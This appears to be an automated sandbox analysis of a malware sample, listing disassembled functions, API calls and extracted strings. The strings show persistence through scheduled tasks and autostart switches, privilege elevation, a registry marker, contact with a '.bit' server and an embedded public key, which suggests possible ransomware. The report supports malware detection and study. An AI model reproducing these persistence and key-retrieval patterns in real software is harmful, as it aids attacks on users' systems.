Instruction ID: 3e13845d47be567a51d500e425141c2e9d63ec9ef2636ca4d6698f3def0ae943
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 37E1AD75D4021AABDF24DFA0CC89FEEB7B8BF04344F0440A9E649B6190EB746A45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 05E5D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E5D8EA

Strings

, xrefs: 05E5DADB
(, xrefs: 05E5DAE9
$, xrefs: 05E5DAE2

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 34f600855e0b3449783fac86c40ecbf10b57d80f54101ef31d9f1cdd1b5b014a
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 8791DF70D00218EBEF20CFA0CD49BEEBBB6AF05314F145168D995772C1DBB25A88CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05E75CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 05E75CF4

Strings

U, xrefs: 05E75CFD

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 6f0eeb9dac94d22133fbded83e54b9a9a70dc520f714fb3294484aadc72f78c3
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 2921087230820CABFB04DBA49C49FBB339DEB45250F605166EA99C6190FB71EE404794

Uniqueness

Uniqueness Score: -1.00%

Function 05E6A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E6A858
_memset.LIBCMT ref: 05E6A869
_memset.LIBCMT ref: 05E6A87A

Strings

p2Q, xrefs: 05E6A882

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 174f668cdbef37a1f75194867de7ecb9ad5356c718b71da179612834625ab39e
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 2BF0E578694754A5F7117750BC2A7857D917B31B04F105044D1542E2E1E3FD234C6799

Uniqueness

Uniqueness Score: -1.00%

Function 05E9FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E9FBF1

Part of subcall function 05E8169C: std::exception::_Copy_str.LIBCMT ref: 05E816B5

__CxxThrowException@8.LIBCMT ref: 05E9FC06

Strings

TeM, xrefs: 05E9FBFB, 05E9FBE7
TeM, xrefs: 05E9FBFE

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 001273c4a7f3a49edbe76f005e8f3bd065f7176772b1058ce926789c586231d1
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: F3D06775D0020CBBCB04FFA5D45DDDEBBB8AA04344F008466A95897241EA74A34ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 05E5D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05E7197D: __wfsopen.LIBCMT ref: 05E71988

_fgetws.LIBCMT ref: 05E5D15C

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: db38059cb5c65cf733b0547e8d8e21414ed57eedd5369df88116202ac77c43a8
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 1491F371E00319ABDF20DFA4CE48BAEB7B5BF04324F542529ED95A3240E775AB44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05E5D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05E5D77E
_malloc.LIBCMT ref: 05E5D7B2
_malloc.LIBCMT ref: 05E5D7C1
_fprintf.LIBCMT ref: 05E5D815

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 40cea16dc44b054228a476eb1174dbb19d68448ae7a226c58562bbc190d24c5e
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: D8A18BB1D00248EBEF11EFA4CC49BDEBBB1AF14314F141028D5557B291E7B65A88CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05E72AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E72B2E
__read_nolock.LIBCMT ref: 05E72BFE
__filbuf.LIBCMT ref: 05E72C21
_memset.LIBCMT ref: 05E72C65

Part of subcall function 05E75BA8: __getptd_noexit.LIBCMT ref: 05E75BA8

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 8bd4c8b275f685e415dd7ca34b0288dc48adf304ce3eb7ede7bcecb1d647efee
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: B751D638B0430D9BEB28CF6988846AE77B7BF50324F149329EAB5962D0E7709951CB40

Uniqueness

Uniqueness Score: -1.00%

Function 05E91359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05E9137D

Part of subcall function 05E91A9D: __fltout2.LIBCMT ref: 05E91AC6

__cftog_l.LIBCMT ref: 05E913A3
__cftoe_l.LIBCMT ref: 05E913D5

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 57e0352bf85e78e86b659f05e6c6f9f174ae772aa174fcc45da6464a927af075
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 30017B3280414AFBCF1A9E84CC05CEE3F77BB18244F099414FE9958830D232C5B2EB81

Uniqueness

Uniqueness Score: -1.00%

Function 05F17A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05F17A4B

Part of subcall function 05F18140: ___BuildCatchObjectHelper.LIBCMT ref: 05F18172
Part of subcall function 05F18140: ___AdjustPointer.LIBCMT ref: 05F18189

_UnwindNestedFrames.LIBCMT ref: 05F17A62
___FrameUnwindToState.LIBCMT ref: 05F17A74
CallCatchBlock.LIBCMT ref: 05F17A98

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 9be9ba983d30189778fdc832a5ec40667901262c3cc6e619bddc866279e136c3
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 45011332500109BBCF12AF55CD04EEA3BAAFF48754F148014FE1866120C73AE9A1DBA8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rq0mVjR9ar.exePID: 1320, Parent PID: 5792COMMON

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	189

Executed Functions

Function 00419F90 Relevance: 178.3, APIs: 65, Strings: 36, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0063BC00,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

x*P, xrefs: 0041ACE4
D:\Program Files (x86)\Google\, xrefs: 0041B085
IsTask, xrefs: 0041A1EE, 0041A299
list<T> too long, xrefs: 0041B669, 0041B673
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
<, xrefs: 0041A67B
%username%, xrefs: 0041B283
IsNotTask, xrefs: 0041A654
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzzVYb8CErbW\/pFkhLDyb\\n9IMnMjZ6LXzFZ8VEK4FVwrK, xrefs: 0041A255, 0041A37B, 0041A847, 0041A955, 0041A962, 0041A97F, 0041A980, 0041A9F2, 0041A9FF, 0041AA16, 0041AA17
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
C:\Program Files\Google\, xrefs: 0041AFB9
--AutoStart, xrefs: 0041A2EC
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
X1P, xrefs: 0041A485
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
IsAutoStart, xrefs: 0041A1D0, 0041A273
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
x2Q, xrefs: 0041A856
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
I:\5d2860c89d774.jpg, xrefs: 0041B32F
7P, xrefs: 0041B164
F:\, xrefs: 0041B397
--Service, xrefs: 0041A30B
D:\Windows\, xrefs: 0041AFF3
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
runas, xrefs: 0041A6CE
D:\Program Files\Google\, xrefs: 0041B0EE
--ForNetRes, xrefs: 0041A22E
IsNotAutoStart, xrefs: 0041A645
--Admin, xrefs: 0041A1B4, 0041A632
C:\Windows\, xrefs: 0041AE0F
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
--Task, xrefs: 0041A2CD

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzzVYb8CErbW\/pFkhLDyb\\n9IMnMjZ6LXzFZ8VEK4FVwrK$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-240588167
Opcode ID: 1383bf02f613a72c3fa82e4de82b0a9da4170475a1c95d96a504d74ba6378883
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 1383bf02f613a72c3fa82e4de82b0a9da4170475a1c95d96a504d74ba6378883
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00481920 Relevance: 138.8, APIs: 51, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00481A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00481A81
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00481EDD
GetTickCount.KERNEL32 ref: 00481F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00481F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00481F95
Heap32Next.KERNEL32(?,?,?,?,?,BBF42C33), ref: 00481FE3
GetTickCount.KERNEL32 ref: 00481FF1
Heap32ListNext.KERNEL32(?,?), ref: 00482058
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
Process32First.KERNEL32(?,00000128), ref: 004820AA
Process32Next.KERNEL32(?,?,BBF42C33), ref: 004820ED
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
Thread32Next.KERNEL32(?,?,BBF42C33), ref: 00482179
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

Thread32Next, xrefs: 00481E13
GetQueueStatus, xrefs: 00481C6B
CreateToolhelp32Snapshot, xrefs: 00481D67
$, xrefs: 00481F7E
KERNEL32.DLL, xrefs: 0048199C
LanmanServer, xrefs: 00481A74
NetApiBufferFree, xrefs: 004819F0
NetStatisticsGet, xrefs: 004819E2
LanmanWorkstation, xrefs: 00481A26
CloseToolhelp32Snapshot, xrefs: 00481D7B
GetCursorInfo, xrefs: 00481C58
CryptAcquireContextW, xrefs: 00481AD5
Thread32First, xrefs: 00481E00
Module32First, xrefs: 00481E26
Process32Next, xrefs: 00481DED
Heap32ListFirst, xrefs: 00481DB4
ADVAPI32.DLL, xrefs: 00481989
Process32First, xrefs: 00481DDA
CryptGenRandom, xrefs: 00481AE3
GetForegroundWindow, xrefs: 00481C4A
Heap32First, xrefs: 00481D8E
USER32.DLL, xrefs: 00481C31
CryptReleaseContext, xrefs: 00481AF6
NETAPI32.DLL, xrefs: 004819A9
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
Heap32ListNext, xrefs: 00481DC7
Module32Next, xrefs: 00481E39
Heap32Next, xrefs: 00481DA1

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32LoadNext$FirstFree$ListProcess32Statistics$CreateSnapshotThread32Toolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 1676905927-1723836103
Opcode ID: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,004CB3EC,000000FF), ref: 0041E6C0

Part of subcall function 0040C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
Part of subcall function 0040C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
Part of subcall function 0040C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0040C700

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32
lstrlenW.KERNEL32(?), ref: 0041EC3E
lstrlenA.KERNEL32(","id":"), ref: 0041EC51
lstrcpyA.KERNEL32(?,?), ref: 0041EC6D
lstrcpyA.KERNEL32(?,?), ref: 0041EC7F
lstrlenA.KERNEL32(?), ref: 0041EC93
lstrlenA.KERNEL32(00000022), ref: 0041ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED2A
lstrlenA.KERNEL32(?), ref: 0041ED4B
_malloc.LIBCMT ref: 0041ED55
_memset.LIBCMT ref: 0041ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0041ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED85
lstrlenW.KERNEL32(?), ref: 0041EDA3
lstrlenW.KERNEL32(?), ref: 0041EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EDF7
DeleteFileA.KERNEL32(?), ref: 0041EE05
_free.LIBCMT ref: 0041EE15
_free.LIBCMT ref: 0041EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0041EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0041EFBF

Strings

&first=false, xrefs: 0041E937
&first=true, xrefs: 0041E930
?pid=, xrefs: 0041E884
","id":", xrefs: 0041EBC5, 0041EC4C
{"public_key":", xrefs: 0041EA2E, 0041EA8D
Microsoft Internet Explorer, xrefs: 0041E736
", xrefs: 0041ECA0
.bit/, xrefs: 0041E7A3
bowsakkdestx.txt, xrefs: 0041E996, 0041EA67, 0041EC17, 0041EDEA

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 16ce881e37e6a59b55ebd423f5fbdb53e2b899d3a40ff3d0ba025cda8a03e9a6
Instruction ID: 6dbc96f3ccd93c00a013485041b5c7257b0a9ae09bebbc57280f72cccf7ce4d8
Opcode Fuzzy Hash: 16ce881e37e6a59b55ebd423f5fbdb53e2b899d3a40ff3d0ba025cda8a03e9a6
Instruction Fuzzy Hash: FA421771508341ABD720DF25DC45BDB7BE8BF85308F44092EF88587292DB78E589CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

PT5M, xrefs: 0040D5A1, 0040D66C
Author Name, xrefs: 0040D4C8
2030-05-02T08:00:00, xrefs: 0040D737
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
Time Trigger Task, xrefs: 0040D43C, 0040D973
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
Trigger1, xrefs: 0040D6FA
--Task, xrefs: 0040D8DD

